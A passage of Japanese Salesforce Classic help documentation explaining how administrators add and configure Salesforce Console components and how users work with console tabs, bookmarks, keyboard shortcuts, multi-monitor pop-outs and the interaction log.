クションにコンポーネントを追加すると、そのコンポーネントが個々のサブタブに表示されます。

• 相互関係ログのような主タブコンポーネントを追加するなど、コンソールのページレイアウトを編集し
た場合、ページを閉じて新しい主タブに再度表示するまで、更新されたレイアウトは表示されません。

• Salesforce ナレッジが有効で、ナレッジのサイドバーがオンになっている場合は、ケースページレイアウ
トの右のサイドバーにコンポーネントを追加しないでください。追加すると、コンポーネントの上にナ
レッジサイドバーが表示されます。

Visualforce のヒント
• ページレイアウトごとに Visualforce ページをコンポーネントとして 1 回使用できます。
• ページレイアウトにコンポーネントとして割り当てられている Visualforce ページは削除できません。
• をクリックして [すべての主タブを更新] または [すべてのサブタブを更新] を選択すると、Visualforce

ページは更新されません。
• 組織のセキュリティ設定で Visualforce ページのクリックジャック保護を有効にすると、Visualforce ページ

が正しく表示されなくなります。
• 他の Visualforce ページとは異なり、コンポーネントの標準コントローラを、カスタマイズしているペー

ジレイアウトのオブジェクトに設定する必要はありません。
• Visualforce ページに showHeader=true を追加する場合は、コンポーネントの右側と左側に 15 ピクセル

の空白を追加してサイドバーの位置がわかるようにすることができます。たとえば、<apex:page

standardController="Contact" showHeader="false" title="List of Cases"> です。
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• Visualforce ページがコンポーネントとして使用されている場合、次の 2 つの URL パラメータ値が自動的に
渡されます。

説明パラメータ値パラメータ名

コンポーネントが表示される詳細
ページの ID。
このパラメータは、ID が使用可能
な場合にのみ渡されます。

レコードを一意に識別する 15 文
字の英数字 (大文字と小文字を区
別) 文字列。

id

Visualforce が Salesforce コンソール
のコンポーネントとして表示され
ます。

trueinContextPane

関連トピック:

Salesforce Classic のコンソールコンポーネントの作成プロセス
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Salesforce Classic のページレイアウトへのコンソールコンポーネントの追加

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムコンソールコン
ポーネントを追加する
• 「アプリケーションの

カスタマイズ」

および

「Service Cloud ユー
ザ」または「セールス
コンソール」

Visualforceページを作成す
る
• 「アプリケーションの

カスタマイズ」

キャンバスアプリケー
ションを管理する
• 「アプリケーションの

カスタマイズ」

コンソールコンポーネントを作成したら、ユーザが Salesforce コンソールのサイ
ドバーからアクセスできるようにページレイアウトに追加できます。
1. 編集するページレイアウトを使用するオブジェクトの管理設定から、ページ

レイアウトに移動します。
2. ページレイアウトの横にある [編集] をクリックします。
3. [カスタムコンソールコンポーネント] をクリックします。
4. コンポーネントの追加先のサイドバーの横で、コンポーネントを表示および

整理する方法を [スタイル] で選択します。「Salesforce Classicのコンソールコ
ンポーネントのサイドバーのスタイル」を参照してください。

5. コンソールのサイドバーのサイズを指定するには、高さまたは幅を選択し、
そのパーセントまたはピクセル数を入力します。次のコンポーネントのサイ
ドバーの高さまたは幅が以下のピクセル数未満の場合は、コンポーネントが
判読しづらくなるため自動的に非表示になります。
• Knowledge One - 250

• ルックアップ - 150

• 関連リスト - 200

• レポートグラフ - 150

6. [種別]の下で、コンポーネントが [Visualforceページ]、[キャンバスアプリケー
ション]、[ルックアップ]、[関連リスト]、[レポートグラフ] のどれに該当する
かを選択します。[レポートグラフ] を選択するには、そのグラフをページレ
イアウトに追加して、アクセスする必要のあるユーザと共有されているフォ
ルダ内にそのグラフがあることを確認します。
• Salesforce組織で [ナレッジ] タブが設定されている場合は、Knowledge One コ

ンポーネントをケースページに追加して、エージェントが記事を容易に
見つけて使用できるようにします。

• 組織でエンタイトルメント管理を使用している場合、[マイルストントラッ
カー] をケースページに追加して、エージェントが処理しているケースに
関連するマイルストンの最新情報を表示できるようにします。

• オブジェクトでトピックを有効化している場合、トピックコンポーネントを追加して、ユーザが処理し
ているレコードのトピックを表示、追加、および削除できるようにします。

• Files コンポーネントをケースページに追加して、サポートエージェントがドラッグアンドドロップを使
用してすばやくファイルをケースに添付したり、すでに添付されているファイルを表示したり、添付
ファイルをケースメールに追加したりできるようにします。

• 組織でオブジェクトに対して知識のあるユーザとトピックを使用している場合は、ケースのエキスパー
トコンポーネントをケースページレイアウトに追加して、エージェントが特定分野の専門知識を持つ同
僚と容易にコラボレーションできるようにします。

メモ: ケースのエキスパートは、パイロットプログラムで使用可能です。組織でのケースのエキス
パートの有効化についての詳細は、Salesforce にお問い合わせください。
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ページレイアウトではレポートグラフは 2 個までに制限されているため、サイドバーには最大 2 個のレポー
トグラフを追加できます。サイドバーには最大 5 つのコンポーネントを追加でき、ページレイアウトには
最大 8 つのコンポーネントを追加できます。追加したキャンバスアプリケーションコンポーネントは、
AppExchange パッケージには追加できません。

7. [コンポーネント] の下で、次のように詳細を設定します。
• Visualforceページまたはキャンバスアプリケーションの場合、コンポーネントを検索して選択するには、

[コンポーネント] の下で をクリックします。

ヒント: Visualforce ページに Lightning コンポーネントを追加できます。「FAQ - Lightning」を参照して
ください。

• コンポーネントがルックアップ項目、関連リスト、レポートグラフの場合は、その項目、リスト、また
はグラフの名前を選択します。必要に応じて、オブジェクトのミニページレイアウトを定義すること
で、さらに項目をルックアップコンポーネントに追加できます。コンポーネントとして表示されるレ
ポートグラフおよび関連リストをページで非表示にして、重複する情報が示されないようにすることも
できます。関連リストの並び替えは、ページレイアウトから実行します。関連リストコンポーネントに
カスタムボタンは表示されません。

8. [表示ラベル] の下で、サイドバーからコンソールユーザに表示されるコンポーネント名を入力します。レ
ポートグラフの表示ラベルを入力しない場合は、レポートグラフの名前が使用されます。

9. サイドバーのコンポーネントのサイズを指定するには、高さまたは幅を選択し、そのパーセントまたはピ
クセル数を入力します。高さまたは幅を指定しない場合、コンポーネントは自動的にコンソールで正しく
表示されるサイズに設定されます。
積み上げスタイルで表示するコンポーネントには [コンポーネントの自動サイズ調整] を使用できます。こ
の機能はデフォルトで選択されているため、ユーザがブラウザのサイズを変更したときに、積み上げコン
ポーネントがサイドバーに合わせて適切に調整されます。Salesforce で積み上げコンポーネントの最小の高
さと幅が選択されます。これらの値を変更することはできません。自動的に調整するこのオプションは、
Visualforce ページやキャンバスアプリケーションでは使用できません。

10. [保存] をクリックします。

関連トピック:

Salesforce Classic のコンソールコンポーネントのサイドバーのスタイル
ページレイアウトへのレポートグラフの追加
オブジェクト管理設定の検索
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Salesforce Classic のコンソールサイドバーへのクイックアクションの追加

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アクションおよびページ
レイアウトを作成、編
集、削除し、カスタムコ
ンソールコンポーネント
を追加する
• 「アプリケーションの

カスタマイズ」

カスタムクイックアクションをコンソールサイドバーに追加すると、サポート
エージェントがケースに関連付けられたレコードの作成、更新、および検索を
簡単に行うことができます。クイックアクションは、コンソールコンポーネン
トとして追加されます。
コンソールのケースページレイアウトにクイックアクションを追加する前に、
そのクイックアクションを作成します。
1. [設定] から、[クイック検索]ボックスに「ページレイアウト」と入力し、[ケー

ス] の [ページレイアウト] を選択します。
2. 操作するページレイアウトを選択します。
3. [カスタムコンソールコンポーネント] をクリックします。
4. クイックアクションコンポーネントを追加するサイドバーセクションまでス

クロールします。たとえば、左サイドバーに追加するには、[左サイドバー]

セクションに移動します。
5. クイックアクションコンポーネントを設定します。

• 項目: クイックアクションの影響を受けるレコード項目を選択します。た
とえば、クイックアクションで取引先責任者レコードを作成する場合は、
[取引先責任者] 項目を選択します。

• リンクを有効化: 選択されている場合、サポートエージェントがこのレコー
ドをケースと関連付けることができます。たとえば、サポートエージェ
ントは取引先責任者を作成してケースにリンクできます。

• 作成アクション: 「作成」クイックアクションを選択します。このクイックアクションでは、サポート
エージェントがレコードを作成できます。

• 更新アクション: 「更新」クイックアクションを選択します。このクイックアクションでは、サポート
エージェントがレコードを更新できます。

6. 必要に応じて、その他のクイックアクションコンポーネントを追加します。
7. [保存] をクリックします。

関連トピック:

Salesforce Classic のページレイアウトへのコンソールコンポーネントの追加
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Salesforce Classic のコンソールコンポーネントのサイドバーのスタイル

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

システム管理者は、コンポーネントをページレイアウトに追加するときに、
Salesforce コンソールでコンポーネントを表示するサイドバーのスタイルを選択
します。
次のサイドバーのスタイルをページレイアウトのコンソールコンポーネントで
使用できます。

説明マルチコンポーネン
トの種類

コンテンツ領域に複数のフレームがある。積み上げ

1 つのコンテンツ領域に複数パネルのリストがある。タブ

コンテンツ領域が折りたたみ可能。アコーディオン

このスタイルは、垂直サイドバーにのみ使用できます。

関連トピック:

Salesforce Classic のページレイアウトへのコンソールコンポーネントの追加
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Salesforce Classic のアプリケーションへのコンソールコンポーネントの追加

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムコンソールコン
ポーネントを追加する
• 「アプリケーションの

カスタマイズ」

および

「Service Cloud ユー
ザ」または「セールス
コンソール」

Visualforceページを作成す
る
• 「アプリケーションの

カスタマイズ」

キャンバスアプリケー
ションを管理する
• 「アプリケーションの

カスタマイズ」

コンソールコンポーネントを作成したら、ユーザがアクセスできるようにSalesforce

コンソールのフッターにボタンとして追加できます。
1. [設定] から、[クイック検索] ボックスに「カスタムコンソールコンポーネン

ト」と入力し、[カスタムコンソールコンポーネント] を選択します。
2. [新規] をクリックします。
3. コンポーネントの名前を入力します。
4. [ボタン名] で、コンポーネントを起動するためにユーザがクリックするボ

タンに表示される表示ラベルを入力します。たとえば、「Live Agent」な
どです。

5. [ボタン CSS] で、コンポーネントを起動するためにユーザがクリックする
ボタンの外観の定義に使用されるインラインスタイルを入力します。サポー
トされるスタイルには、フォント、フォントの色、背景色などがあります。

6. コンソールに表示するときのボタンの幅を入力します。
7. [コンポーネント]で、[Visualforce ページ]または [キャンバスアプリケー

ション] を選択し、コンポーネントの名前を入力するか、 をクリックし
てコンポーネントを検索して選択します。

ヒント: Visualforce ページに Lightning コンポーネントを追加できます。
「FAQ - Lightning」を参照してください。

8. コンソールにコンポーネントを表示するときに使用されるウィンドウの高さ
と幅を入力します。

9. コンポーネントの表示に使用するウィンドウのサイズをユーザが変更できな
いようにするには、[固定幅] または [固定高さ] をクリックします。

10. [保存] をクリックします。
ユーザがコンポーネントにアクセスできるようにするには、コンポーネントを
コンソールに割り当てる必要があります。「Salesforce Classic のアプリケーション
へのコンソールコンポーネントの割り当て」を参照してください。

関連トピック:

Salesforce Classic のアプリケーションへのコンソールコンポーネントの割り当て
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Salesforce Classic のアプリケーションへのコンソールコンポーネントの割り当
て

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アプリケーションにカス
タムコンソールコンポー
ネントを割り当てる
• 「アプリケーションの

カスタマイズ」

Salesforce コンソールアプリケーションにコンソールコンポーネントを追加した
ら、ユーザがアクセスできるように各コンソールに割り当てる必要があります。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択します。
2. コンソールアプリケーションを選択します。
3. [編集] をクリックします。
4. [カスタムコンソールコンポーネントを選択] で、使用可能なコンポーネント

のすべてをアプリケーションに追加します。
1. [コンソールコンポーネントの位置揃え] で、コンポーネントをコンソールの

フッターの左または右のどちらに位置揃えするかを選択します。
5. [保存] をクリックします。

関連トピック:

Salesforce Classic のアプリケーションへのコンソールコンポーネントの追加

Salesforce Classic の Salesforce コンソールの操作
エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コンソールの機能強化されたインターフェースを使用すると、より多くのレコー
ドをより迅速に処理できます。
標準の Salesforce ページとは異なり、コンソールでクリックする項目はすべてタ
ブとして表示されます。タブベースのナビゲーションは効率性が高いほか、コ
ンソールによって次のことが可能になります。
• 多数のレコードの同時処理
• 最近使用したタブおよびブックマークの表示
• 固定表示リストのサイズ変更による情報表示領域の拡大
• キーボードショートカットを使用した移動の迅速化
• マルチモニターの使用
コンソールのダッシュボードに似たインターフェースでは、データがすべて 1 つの画面にまとめられるため、
次のことが可能です。
• レコードの検索
• 相互関係ログを使ったレコードに関するメモの作成
• 表示中のレコードが別のユーザによって編集された日時の表示
• ソフトフォンを使用した通話の受発信
さらに、Salesforce Console for Service には次の機能があります。
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• ケースを解決する Salesforce ナレッジ記事の検索
• Live Agent を使用した顧客とのチャット

メモ: Salesforceシステム管理者がカスタムコンソールコンポーネントを追加している場合は、コンソール
のサイドバーおよびフッターに、使用可能な追加機能があることがあります。

Salesforce Classic コンソールのナビゲーション方法
コンソールの効率的なナビゲーション方法について学習します。

Salesforce Classic コンソールのタブとナビゲーション
コンソールでクリックする項目は、タブとして表示されます。タブにより、必要な情報をすべて、コンテ
キストを失うことなく 1 画面で見ることができます。
Salesforce Classic の Salesforce コンソールでのブックマークまたは最近使用したタブの表示
Salesforce システム管理者が設定した場合は、Salesforce を検索しなくても、コンソールでブックマークした
主タブや最近使用した主タブにすばやくアクセスできます。
Salesforce Classic の Salesforce コンソールの固定表示リストのサイズ変更および最小化
システム管理者が固定表示リストを有効にして画面上の表示場所を選択している場合は、リストのサイズ
変更および最小化を実行できます。
Salesforce Classic の Salesforce コンソールのマルチモニターコンポーネントを操作するためのガイドライン
コンソールの各部分をコンピュータ画面の別の領域に移動して、作業に最適な方法で情報を表示できます。

Salesforce Classic コンソールのタブとナビゲーション

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コンソールでクリックする項目は、タブとして表示されます。タブにより、必
要な情報をすべて、コンテキストを失うことなく 1 画面で見ることができます。
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コンソールのタブ

(1) ナビゲーションタブでは、作業するオブジェクトやレコードを選択できます。(2) 主タブには、取引先など
コンソールの主な作業項目が表示されます。(3) サブタブには、取引先の取引先責任者など主タブの関連項目
が表示されます。作業時にコンソール内を移動するには、タブを使用します。

警告: ブラウザの [戻る] ボタンはコンソールではサポートされておらず、正常に動作しないことがありま
す。コンソールタブは、ブラウザタブを閉じるまでブラウザタブに保存されます。
ブラウザタブを閉じると、開いているコンソールタブはすべて失われます。システム管理者がコンソー
ルのユーザセッションを保存するように設定している場合は、ユーザがSalesforceに再度ログインすると、
以前開いていたコンソールタブとコンソールコンポーネントが自動的に再表示されます。さらに、サイ
ドバーコンポーネントや相互関係ログのサイズを変更したり、グローバル検索ヘッダーを閉じたりした
場合、そうしたカスタマイズも再表示されます。
Salesforceからログアウトし、同じウィンドウを使用して再びログインすると、[ユーザセッションを保存]

が無効になっている場合でも、前に開いていたタブが新しいセッションで再び開きます。

1. Salesforce Classic の Salesforce コンソールのナビゲーションタブ
ナビゲーションタブを使用して、オブジェクトを選択し、そのホームページを表示します。

2. Salesforce Classic の Salesforce コンソールの主タブとサブタブの操作
コンソールの主タブおよびサブタブを最大限活用する方法について説明します。

Salesforce Classic の Salesforce コンソールのナビゲーションタブ

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ナビゲーションタブを使用して、オブジェクトを選択し、そのホームページを
表示します。
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コンソールのナビゲーションタブ

コンソールごとに、ナビゲーションタブが 1 つ表示されます。システム管理者がナビゲーションタブでユーザ
が選択できるオブジェクトのリストを決定しますが、そのリストがオンになっているユーザは、[タブのカス
タマイズ] をクリックしてオブジェクトを非表示、表示、および整理できます。
ナビゲーションタブから選択したほとんどのオブジェクトのホームページにはリストビューが表示され、自動
的に拡張リストになります。ナビゲーションタブには、売上予測、アイデア、アンサー、接続、ポータル、コ
ンソール、または Salesforce 組織をカスタマイズするためのボタンは表示されません。

Salesforce Classic の Salesforce コンソールの主タブとサブタブの操作

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コンソールの主タブおよびサブタブを最大限活用する方法について説明します。

コンソールの主タブとサブタブ

(1) 主タブには、取引先などの作業する主な項目が表示されます。(2) サブタブは、取引先の取引先責任者など
主タブの関連項目です。Salesforce では、表示できるタブ数に制限を設けていません。
タブを表示すると、変更を保存していないタブに が表示されます。ただし、レポート、Visualforce ページ、
Salesforce組織の設定ページはこの例外です。 は、エラーの修正が必要なタブに表示されます。システム管理
者がコンソールのホワイトリストに外部ドメインを追加している場合は、タブにSalesforce外のページが表示さ
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れることがあります。カスタムボタンをクリックした場合や、レコードの種別、所有者、テリトリーを変更し
た場合は新しいタブが表示されません。代わりに、現在のタブが選択した項目になります。

タブバーで をクリックし、タブを閉じる、タブの更新、キーボードショートカットの表示などのオプショ
ンを選択すれば、タブでさまざまな操作を行うことができます。タブを再配置するには、タブバーの新しい位
置にドラッグします。タブでは主タブまたはサブタブという状況が維持されます。つまり、主タブをサブタブ
バーに移動したり、その逆の移動を行うことはできません。タブの再配置は、Internet Explorer® 7 では使用でき
ません。
システム管理者がマルチモニターコンポーネントを有効化している場合、ブラウザから主タブをポップアウト
して画面上の任意の場所にドラッグし、作業方法をカスタマイズできます。 をクリックして[主タブをポッ
プアップ] を選択します。主タブを元のブラウザに戻すには、 をクリックして [タブをコンソールに戻す]

を選択します。

コンソールタブの URL をコピーして別のユーザに送信するには、 をクリックし、タブの名前の横にある

を選択します。コンソールを使用しないユーザに URL を送信する場合は、[共有するリンク] ダイアログ
ボックスから標準の Salesforce URL の作成を選択します。次に、CTRL+C を押して URL をコピーします。コピーし
た URL を貼り付ける新しいタブをコンソールに追加するには、 をクリックします。CTRL+V を押して URL を
テキストボックスに貼り付けた後、[Go!] をクリックします。コンソールの URL または標準の Salesforce URL を新
しいタブに貼り付けることができます。

頻繁に使用するタブをタブバーに固定してすばやくアクセスできるようにするには、 をクリックして、タ
ブの横にある を選択します。タブが固定されるとタブバーの前面に移動し、より広い画面領域を確保する
ためにテキストが削除されます。タブの固定を解除するには、 をクリックして、 を選択します。

お気に入りや時々使用するタブをブックマークしてすばやくアクセスできるようにするには、 をクリック
して、タブの横にある を選択します。タブはブックマークされるとフッターの [履歴] コンポーネント (旧
名称は [最新のタブ]) に移動します。ブックマークしたタブを削除するには、 をクリックして、 を選択
するか、[履歴] コンポーネントのタブの横にある [削除] をクリックします。「Salesforce Classic の Salesforce コン
ソールでのブックマークまたは最近使用したタブの表示」 (ページ 5196)を参照してください。

警告: 新たに作成してまだ保存していない項目の [キャンセル]をクリックすると、その項目とタブが削除
され、ごみ箱には送られません。

メモ: Salesforceシステム管理者がカスタムコンソールコンポーネントを追加している場合は、タブの横に
あるサイドバーに、作業に使用可能な追加機能があることがあります。

ヒント: 最後に閉じたタブを再び開くには、SHIFT+C を押すか、 をクリックして [最後に閉じたタブを
再開] を選択します。閉じたタブを 10 個まで再び開くことができます。
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Salesforce Classic の Salesforce コンソールでのブックマークまたは最近使用したタブの表示

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce システム管理者が設定した場合は、Salesforce を検索しなくても、コン
ソールでブックマークした主タブや最近使用した主タブにすばやくアクセスで
きます。

メモ:  Summer '15 では、ユーザがタブを見つけて取得する操作を効率化する
ために、[最新のタブ] が [履歴] という名前に変更され、ブックマークが追
加されました。これらの機能は、Internet Explorer® 7 および 8 では使用できま
せん。

ブックマークした主タブまたは最近使用した主タブを表示するには、コンソー
ルのフッターで [履歴] をクリックします。次に、[ブックマーク] または [最近の
タブ] 列をクリックして、タブを選択します。各タブの URL を取得して別のユー
ザに送信するすることや、ブックマークを削除したり最近使用したタブをクリ
アしたりして一から始めることもできます。それぞれの最近のタブの横にあるサブタブを使用できる場合は、
最大 10 個のサブタブにアクセスできます。ミーティング要請のフロート表示など、タブとして表示されない
項目は [履歴] フッターに表示されません。

関連トピック:

Salesforce Classic の Salesforce コンソールの主タブとサブタブの操作
Salesforce Classic の Salesforce コンソールの操作

Salesforce Classic の Salesforce コンソールの固定表示リストのサイズ変更および最小化

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

システム管理者が固定表示リストを有効にして画面上の表示場所を選択してい
る場合は、リストのサイズ変更および最小化を実行できます。
固定表示リストのサイズを変更するには、リストの右または下の余白をクリッ
クし、目的のサイズになるまでドラッグします。固定表示リストを最小化する
には、右または下の余白にある矢印をクリックします。再度リストを表示する
には、矢印をもう一度クリックします。リストからレコードを選択しなかった
場合、リストは自動的に全画面表示されます。

関連トピック:

Salesforce Classic の Salesforce コンソールの操作
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Salesforce Classic の Salesforce コンソールでのキーボードショートカットの使用

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

キーボードショートカットにより、マウスを使用する代わりにキーを押してア
クションをすばやく実行できます。
キーボードショートカットを使用して、コンソールをより効率的に機能させる
ことができます。たとえば、システム管理者がショートカットを作成すること
で、ユーザはケースの詳細を入力した後にマウスを使用して [保存] をクリック
する代わりに、ケースの詳細を入力した後に CTRL+S を押し、マウスに切り替え
ることなくケースを保存できます。ショートカットの作成またはカスタマイズ
ができるのはシステム管理者のみです。
コンソールのショートカットを一覧表示するフロート表示を開くには、SHIFT+K

を押すか をクリックして[キーボードショートカットを表示]を選択します。
フロート表示にショートカットが淡色表示されている場合、有効化されていな
いか、カスタマイズされています。
キーボードショートカットは、文字キーの前に SHIFT キーを押しても大文字と小文字は区別されません。たと
えば、SHIFT+b と SHIFT+B は同じです。CTRL、ALT、または SHIFT をキーボードショートカットに使用する場合、
これらのキーの順番は考慮されません。たとえば、CTRL+ALT+A と ALT+CTRL+A は同じです。

関連トピック:

Salesforce Classic の Salesforce コンソールの操作

Salesforce Classic の Salesforce コンソールのデフォルトのキーボードショートカット

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

次のショートカットはコンソールで自動的に使用可能になります。システム管
理者がカスタマイズしたり無効にしたりできます。

キーコマンド説明アクション (キー
ボードショート
カット)

Escコンソールを表示しているブラウザで
キーボードショートカットを有効にし
ます。

キーボードショー
トカットモードの
入力

Vナビゲーションタブを選択します。ナビゲーションタ
ブに移動

Shift+Tabタブ上の詳細を選択します。タブの項目に移動
P主タブの行を選択します。主タブに移動
S主タブ上のサブタブの行を選択します。サブタブに移動
Nリストビューを選択します。リストビューに移

動
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キーコマンド説明アクション (キーボード
ショートカット)

Shift+Fリストビューの最初の項目を選択します。最初のリストビュー項目
に移動

Rカーソルをヘッダーの検索ボックスに移動します。ヘッダーの検索ボックス
に移動

F/右矢印または左矢印/1 ～
9

カーソルをフッターコンポーネントに移動します。
Microsoft® Internet Explorer®バージョン 7、8、および右から
左へ記述される言語ではサポートされていません。[マ

フッターに移動

クロ] または [プレゼンス] コンポーネントを選択する場
合は、ESC を押してカーソルを他のコンポーネントに移
動します。

左矢印カーソルを左に移動します。左に移動

右矢印カーソルを右に移動します。右に移動

上矢印カーソルを上に移動します。上に移動

下矢印カーソルを下に移動します。下に移動

PC の場合は Ctrl キーを押し
ながらクリック、Mac の場

フォーカスを逸らすことなく選択した項目を新しいタ
ブで開きます。

無効なタブで項目を開く

合は CMD を押しながらク
リック
D他のアクションを選択するためにタブのドロップダウ

ンボタンを開きます。
タブのドロップダウンボ
タンを開く

T新しいタブを開きます。タブを開く
C選択されたタブを閉じます。タブを閉じる
SHIFT + C最後に閉じた主タブを再び開きます。最後に閉じたタブの再開
SHIFT+R選択されたタブを更新します。タブの更新
Enterコマンドを有効化します。Enter

U選択されたタブで、[共有するリンク] ダイアログボック
スを開きます。

共有するリンクを取得

SHIFT+Kキーボードショートカットを一覧表示するフロート表
示を開きます。

キーボードショートカッ
トを表示

E詳細ページから編集ページに切り替えます。編集
Ctrl + S選択されたタブに変更を保存します。保存
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キーコマンド説明アクション (キーボード
ショートカット)

SHIFT+ N固定表示リストの表示を切り替えます。固定表示リストの表示/

非表示を切り替える

SHIFT + 左矢印左サイドバーとそのコンポーネントの表示を切り替え
ます。

左サイドバーの表示/非
表示を切り替える

SHIFT + 右矢印右サイドバーとそのコンポーネントの表示を切り替え
ます。

右サイドバーの表示/非
表示を切り替える

SHIFT + 上矢印上サイドバーとそのコンポーネントの表示を切り替え
ます。

上サイドバーの表示/非
表示を切り替える

SHIFT + 下矢印下サイドバーとそのコンポーネントの表示を切り替え
ます。

下サイドバーの表示/非
表示を切り替える

Zヘッダー、フッター、および固定表示リストの表示を
切り替えて、主タブをズームイン/ズームアウトしま
す。

主タブをズームイン/

ズームアウトする

関連トピック:

Salesforce Classic の Salesforce コンソールでのキーボードショートカットの使用
Salesforce Classic の Salesforce コンソールの操作

Salesforce Classic の Salesforce コンソールのマルチモニターコンポーネントを操作するため
のガイドライン

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コンソールの各部分をコンピュータ画面の別の領域に移動して、作業に最適な
方法で情報を表示できます。
Salesforce システム管理者がマルチモニターコンポーネントを有効化している場
合、主タブおよびOpen CTIソフトフォンをポップアウトして画面上の他の場所に
ドラッグできます。[履歴] コンポーネント、Live Agent チャット (フッターコンポー
ネント以外)、およびコンソールのフッターに含まれるカスタムコンソールコン
ポーネントまたは Force.com Canvas コンポーネントも移動できます。マルチモニ
ターコンポーネントを使用するには、ブラウザの (1) ポップアップウィンドウを
許可する設定、および (2) リンクを新しいウィンドウ (タブではなく) で開くよう
にする設定の更新が必要な場合があります。

主タブをポップアウトしてドラッグするには、 をクリックして[主タブをポッ
プアップ] を選択します。主タブを元のブラウザに戻すには、 をクリックして [タブをコンソールに戻す]

を選択します。

コンソールのフッターにあるコンポーネントをポップアウトしてドラッグするには、項目をクリックし、
をクリックします。項目を元のブラウザに戻すには、 をクリックします。ポップアウトしたフッターコ
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ンポーネントを更新するには、コンポーネントで右クリックし、[再読み込み] または [更新] を選択します。
ポップアウトしたフッターコンポーネントを更新すると、コンソールのフッターに戻ります。
固定表示リストが設定されている場合、プレイグラウンドがリストの横に空白領域として表示され、「フッ
ターコンポーネントをここにドラッグ」と表示されます。画面上の複数のアプリケーション間で Salesforce ウィ
ンドウを追跡するには、この領域を使用します。

重要:  (1) Salesforceからログアウトした場合、(2) [設定]をクリックした場合、(3) リンクをクリックしてコン
ソールから離れた場合、(4) ブラウザを更新したか閉じた場合、ポップアウトした項目は閉じて画面上の
位置は失われます。

メモ:  CTI Toolkit のバージョン 3.0 または 4.0 で作成されたソフトフォンはポップアウトできません。

ヒント: コンソールからポップアウトした項目には、画面上の他のウィンドウの中から見つけやすいよう
に青いヘッダーが付けられます。
ポップアウトしたコンポーネントからキーボードショートカットを使用するには、適切なウィンドウに
フォーカスを移動します。たとえば、ナビゲーションタブがあるウィンドウにフォーカスがある場合、
主タブに移動するためのデフォルトのショートカットであるキーコマンド P は機能しません。

関連トピック:

Salesforce Classic の Salesforce コンソールの操作

Salesforce Classic の Salesforce コンソールでのレコードの操作
コンソールでのレコードの操作は非常に簡単です。

Salesforce Classic の Salesforce コンソールでのレコードへのメモの追加
相互関係ログを使用すると、コンソールの主タブのレコードにメモをすばやく追加できます。
Salesforce Classic の Salesforce コンソールでの転送通知の表示
転送通知とは、表示しているレコードまたは項目が別のユーザによって変更されたときに表示されるビジュ
アルインジケータです。
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Salesforce Classic の Salesforce コンソールでのレコードへのメモの追加

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

相互関係ログを表示する
• ToDo に対する「参

照」

相互関係ログにメモを保
存する
• ToDo に対する「編

集」

相互関係ログを使用すると、コンソールの主タブのレコードにメモをすばやく
追加できます。
相互関係ログのレイアウトに割り当てられている場合は、コンソールのフッター
からこのログにアクセスできます。ログは、取引先や取引先責任者など、[活動
履歴] 関連リストのある項目に表示されますが、ソリューションには表示されま
せん。また、レポート、ダッシュボード、Salesforce CRM Content、[記事の管理] タ
ブ、Visualforce ページではログを使用できません。
相互関係ログの表示、非表示を指定するには、ログの境界にマウスポインタを
置いて または をクリックします。相互関係ログと詳細ページのサイズを
変更するには、その間にあるバーをドラッグします。顧客に関するメモがすば
やく保存されるように、取引先責任者がサブタブに表示されると、その取引先
責任者の名前がログの [名前] に追加されます。ただし、ログを保存する前に
[名前] を変更できます。メモまたは [件名] を削除するために [ログをクリア]

をクリックした場合、保存されたメモは削除されず、レコードの [活動履歴] 関
連リストに格納されます。ログを簡単に確認および取得できるように、ログは
すべてレコードの [活動履歴] 関連リストに ToDo として保存されます。

メモ: システム管理者は、ログに表示される項目をカスタマイズできます。

ヒント: ソフトフォンを使用している場合、[コールデータを追加]をクリッ
クすると、通話の日時がログに追加されます。着信通話から画面のポップ
アップウィンドウが表示されたときは、[通話を終了する] をクリックして
通話を終了し、ログに行った更新を保存します。

関連トピック:

Salesforce Classic の Salesforce コンソールの操作

Salesforce Classic の Salesforce コンソールでの転送通知の表示

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

転送通知とは、表示しているレコードまたは項目が別のユーザによって変更さ
れたときに表示されるビジュアルインジケータです。
Salesforce システム管理者が転送通知を設定すると、レコードまたは項目の変更
に対するビジュアルインジケータがリストおよび詳細ページに表示されます。
変更されたときに、詳細ページが自動的に更新されて最新情報が表示されるか、
通知がダイアログボックスとして表示されます。リストには通知が次のように
表示されます。
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リストの転送通知

